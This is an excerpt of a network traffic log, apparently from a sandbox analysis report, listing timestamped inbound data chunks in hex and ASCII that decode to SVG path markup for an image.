2023-07-27 19:54:07 UTC	2325	IN	Data Raw: 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 35 33 2e 38 38 2c 33 33 31 2e 37 39 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 35 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 35 33 2e 36 34 2c 33 32 34 2e 38 36 61 31 2e 37 31 2c 31 2e 37 31 Data Ascii: 24,2.24,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class="cls-4" d="M753.88,331.79a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.95,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M753.64,324.86a1.71,1.71
2023-07-27 19:54:07 UTC	2341	IN	Data Raw: 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 37 30 2e 37 39 2c 32 30 36 2e 32 37 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 37 30 2e 35 35 2c Data Ascii: ,1,.51-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class="cls-4" d="M770.79,206.27a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"/><path class="cls-4" d="M770.55,
2023-07-27 19:54:07 UTC	2357	IN	Data Raw: 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 31 2e 33 31 2c 32 37 34 2e 36 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 39 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 Data Ascii: 34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M801.31,274.66a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.41,2.41,0,0,1,.52-2.89,2.24,2.24,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class
2023-07-27 19:54:08 UTC	2741	IN	Data Raw: 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 31 2e 38 34 2c 33 34 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 2f 3e 3c 70 Data Ascii: 1,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M831.84,343a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"/><p
2023-07-27 19:54:08 UTC	2757	IN	Data Raw: 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 35 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 38 2e 37 35 2c 32 31 37 2e 35 32 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c Data Ascii: 73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.95,2.41,2.41,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M848.75,217.52a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,
2023-07-27 19:54:08 UTC	2773	IN	Data Raw: 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 35 2c 32 39 32 2e 38 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 37 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 32 37 2c 32 38 35 2e 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e Data Ascii: cls-4" d="M879.5,292.83a1.72,1.72,0,0,1-.77,2.24,2.52,2.52,0,0,1-3.34-.94,2.41,2.41,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M879.27,285.9a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.
2023-07-27 19:54:08 UTC	2789	IN	Data Raw: 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 31 30 2c 33 36 31 2e 32 31 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 30 39 2e 37 39 2c 33 35 34 2e 32 38 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 Data Ascii: 2.86"/><path class="cls-4" d="M910,361.21a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M909.79,354.28a1.71,1.71,0,0,1-.78,2.23,2.5,2.5,0,0,1-3.33-.94,2.3
2023-07-27 19:54:08 UTC	2805	IN	Data Raw: 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 36 2e 39 34 2c 32 33 35 2e 37 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 36 2e 37 2c 32 32 38 2e 37 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 Data Ascii: 9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M926.94,235.7a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"/><path class="cls-4" d="M926.7,228.76a1.72,1.72,0,0,1-.78,2.24,2
2023-07-27 19:54:08 UTC	2821	IN	Data Raw: 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 32 37 2e 31 31 2c 31 37 30 2e 35 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 32 37 2e 33 34 2c 31 37 37 2e 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 39 2c 32 Data Ascii: 82"/><path class="cls-4" d="M1027.11,170.57a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M1027.34,177.4a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.39,2
2023-07-27 19:54:08 UTC	3109	IN	Data Raw: 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 31 30 2e 36 39 2c 33 30 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 39 37 2e 35 31 2c 31 31 36 2e 38 38 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 Data Ascii: -.16-2.81"/><path class="cls-4" d="M1010.69,301a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"/><path class="cls-4" d="M997.51,116.88a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.3
2023-07-27 19:54:08 UTC	3125	IN	Data Raw: 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 38 31 2e 30 39 2c 32 34 37 2e 33 32 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 38 31 Data Ascii: .37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M981.09,247.32a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.51,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"/><path class="cls-4" d="M981
2023-07-27 19:54:08 UTC	3141	IN	Data Raw: 2c 31 38 36 2e 38 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 35 31 2e 34 39 2c 31 39 33 2e 36 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e Data Ascii: ,186.81a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.51,2.84,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M951.49,193.64a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.39,2.39,0,0,1-.5,2.85,2.23,2.23,0,0,1-2.
2023-07-27 19:54:08 UTC	3157	IN	Data Raw: 30 2c 31 2d 32 2e 38 36 2c 30 41 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 39 32 32 2c 31 32 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 31 2e 36 37 2c 31 33 33 2e 31 32 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 31 2e 39 2c 31 34 30 61 31 2e 36 38 2c 31 2e 36 38 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e Data Ascii: 0,1-2.86,0A2.09,2.09,0,0,1,922,125"/><path class="cls-4" d="M921.67,133.12a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"/><path class="cls-4" d="M921.9,140a1.68,1.68,0,0,1,.76-2.2,2.
2023-07-27 19:54:08 UTC	3173	IN	Data Raw: 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 30 35 2e 34 37 2c 32 37 30 2e 33 39 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 41 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2c 39 30 39 2c 32 37 32 61 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c Data Ascii: 48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.82"/><path class="cls-4" d="M905.47,270.39a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.29.93A2.38,2.38,0,0,1,909,272a2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><
2023-07-27 19:54:08 UTC	3189	IN	Data Raw: 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 35 2e 36 35 2c 32 30 39 2e 38 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 35 2e 38 38 2c 32 31 36 2e 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d Data Ascii: class="cls-4" d="M875.65,209.87a1.69,1.69,0,0,1,.76-2.2,2.49,2.49,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><path class="cls-4" d="M875.88,216.7a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-
2023-07-27 19:54:08 UTC	3205	IN	Data Raw: 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 36 2e 30 35 2c 31 35 36 2e 31 39 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 Data Ascii: 36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"/><path class="cls-4" d="M846.05,156.19a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"/><path class="cls-4" d="
2023-07-27 19:54:08 UTC	3221	IN	Data Raw: 2c 32 38 36 2e 36 33 61 31 2e 36 38 2c 31 2e 36 38 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 32 39 2e 38 36 2c 32 39 33 2e 34 35 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 Data Ascii: ,286.63a1.68,1.68,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.92,2.37,2.37,0,0,1-.5,2.85,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><path class="cls-4" d="M829.86,293.45a1.7,1.7,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2
2023-07-27 19:54:08 UTC	3237	IN	Data Raw: 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 30 2c 32 33 32 2e 39 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 30 2e 32 36 2c 32 33 39 2e 37 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 